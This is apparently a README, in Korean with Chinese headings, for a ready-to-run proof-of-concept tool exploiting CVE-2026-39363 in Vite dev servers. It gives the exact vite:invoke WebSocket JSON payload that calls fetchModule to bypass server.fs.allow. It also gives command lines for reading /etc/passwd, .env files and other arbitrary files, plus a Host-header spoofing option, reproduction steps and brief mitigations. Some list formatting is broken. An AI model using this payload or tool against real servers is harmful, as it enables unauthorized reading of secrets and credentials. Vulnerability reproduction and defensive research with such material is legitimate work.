
方便实用的CVE-2026-39363利用工具
GHSA-p9ff-h696-f583 대상 즉시 실행 가능한 PoC입니다. 인증되지 않은 HMR WebSocket을 통해 fetchModule을 호출하여 HTTP 레이어의 server.fs.allow 제한을 우회하고, dev server가 실행 중인 머신의 임의 파일을 읽습니다.
| 버전 라인 | 영향 받음 | 수정됨 |
|---|---|---|
| Vite 6 | >=6.0.0, <=6.4.1 | 6.4.2 |
| Vite 7 | >=7.0.0, <=7.3.1 | 7.3.2 |
| Vite 8 | >=8.0.0, <=8.0.4 | 8.0.5 |
| vite-plus (VoidZero 브랜치) | <=0.1.15 | 0.1.16 |
이용 전제 조건:
--host / server.host 설정),server.ws: false로 끌 수 있음).CVSS 3.1 7.5 High(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), CWE-200 + CWE-306.
CISA SSVC는 exploitation=poc, automatable=yes로 표시했습니다.
server.fs.allow에 차단됩니다(/@fs/<절대 경로> → 403).Sec-WebSocket-Protocol: vite-hmr 헤더, 그리고?token= 쿼리 파라미터를 요구합니다(CWE-306: 브라우저가 아닌 클라이언트는 Origin 헤더 없이 바로 접속 가능).vite:invoke 커스텀 이벤트를 전송하여 서버에 등록된 fetchModule 메서드를 호출하고 file://<절대 경로>?raw를 전달합니다. fetchModule은 모듈 transform 파이프라인을 직접 거치므로 fs.allow 검사를 완전히 우회하며, 파일 내용을 export default "..."로 반환합니다(CWE-200).vite:invoke 요청 메시지 구조(v6/v7/v8 동일):
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "1send",
"data": ["file:///etc/passwd?raw"]
}
}
서버는 id가 1response로 바뀐 응답을 보내며, data.data.result.code에 파일 내용이 담깁니다.
Python 3 표준 라이브러리만 필요하며, 서드파티 의존성이 없습니다:
# 读单个文件(POSIX 路径)
python exp.py http://target:5173 /etc/passwd
# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini
# 保存到目录(文件名按路径自动安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/
# HTTPS dev server
python exp.py https://target:5173 /etc/passwd
# 目标配置了 allowedHosts 域名白名单时,用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173
인자:
본 저장소의 PoC는 다음 환경에서 실제 테스트를 통과했습니다(dev server root 밖의 secret.txt를 읽었으며, HTTP @fs 경로의 같은 파일은 403 반환):
vite --host 0.0.0.0, Windows)재현 절차(PoC와 동일한 방식):
# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173
# 2. HTTP 路径被 fs.allow 拦(预期 403)
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw' # -> 403
# 3. WebSocket 路径可读(本 PoC)
python exp.py http://target:5173 <root外绝对路径>
vite build + 정적 호스팅을 사용하고 vite dev를 실행하지 말 것.server.ws: false로 HMR을 비활성화하거나, 리버스 프록시를 추가해 dev server 포트에 로컬에서만 접근하도록 제한.승인을 받은 침투 테스트, 취약점 재현 및 방어 연구 목적으로만 사용하십시오. 승인 없이 타인의 시스템에 이 도구를 사용하여 발생하는 결과는 사용자가 부담합니다.
| 인자 | 설명 |
|---|
url | 대상, 예: http://192.168.1.10:5173 |
files | 읽을 절대 경로(POSIX 또는 Windows 스타일 모두 가능) |
--host-header | Host 헤더 위조(기본값: 대상 host). 기본적으로 IP/localhost만 허용하며, 사용자 정의 도메인은 명시적 설정 필요 |
--ws-path | HMR WebSocket 경로, 기본 /(대상에 server.hmr.path가 설정된 경우 수정 필요) |
--timeout | 단일 요청 제한시간(초), 기본 10 |
-o/--output-dir | 읽은 내용을 디렉터리에 저장 |